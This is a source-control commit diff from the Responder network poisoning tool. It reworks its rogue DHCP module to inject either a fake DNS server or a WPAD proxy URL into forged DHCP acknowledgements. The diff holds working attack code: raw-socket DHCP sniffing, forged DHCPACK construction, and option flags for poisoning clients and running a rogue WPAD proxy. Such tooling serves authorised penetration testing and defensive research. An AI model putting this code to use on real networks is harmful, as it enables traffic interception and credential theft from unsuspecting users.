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Added DHCP DNS vs DHCP WPAD

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lgandx 2021-12-12 17:55:58 -03:00
parent 9dc779869b
commit 76f6c88df3
3 changed files with 17 additions and 15 deletions
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4
Responder.py
View file

@ -34,7 +34,7 @@ parser.add_option('-e', "--externalip", action="store", help="Poison all
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-W', '--DHCP-WPAD', action="store_true", help="This option will inject a WPAD server in the DHCP response, otherwise it will be done via DNS. Default: False", dest="DHCP_WPAD", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
@ -347,7 +347,7 @@ def main():
if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP
DHCP(settings.Config.DHCP_WPAD)
DHCP(settings.Config.DHCP_DNS)
while True:
time.sleep(1)

20
poisoners/DHCP.py
View file

@ -83,7 +83,7 @@ Interface = settings.Config.Interface
Responder_IP = RespondWithIP()
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0"
DNSIP = RespondWithIP()
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
@ -205,17 +205,19 @@ class DHCPACK(Packet):
("Padding", "\x00"),
])
def calculate(self, DHCP_WPAD):
def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
if DHCP_WPAD:
if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op6Str"] = socket.inet_aton('0.0.0.0').decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
@ -241,7 +243,7 @@ def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP,DHCP_WPAD):
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
@ -267,7 +269,7 @@ def ParseDHCPCode(data, ClientIP,DHCP_WPAD):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_WPAD)
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
@ -286,7 +288,7 @@ def ParseDHCPCode(data, ClientIP,DHCP_WPAD):
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_WPAD)
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
@ -313,7 +315,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP(DHCP_WPAD):
def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
@ -323,6 +325,6 @@ def DHCP(DHCP_WPAD):
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_WPAD)
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret:
print(text("[*] [DHCP] %s" % ret))

2
settings.py
View file

@ -132,7 +132,7 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.DHCP_WPAD = options.DHCP_WPAD
self.DHCP_DNS = options.DHCP_DNS
if self.Interface == "ALL":
self.Bind_To_ALL = True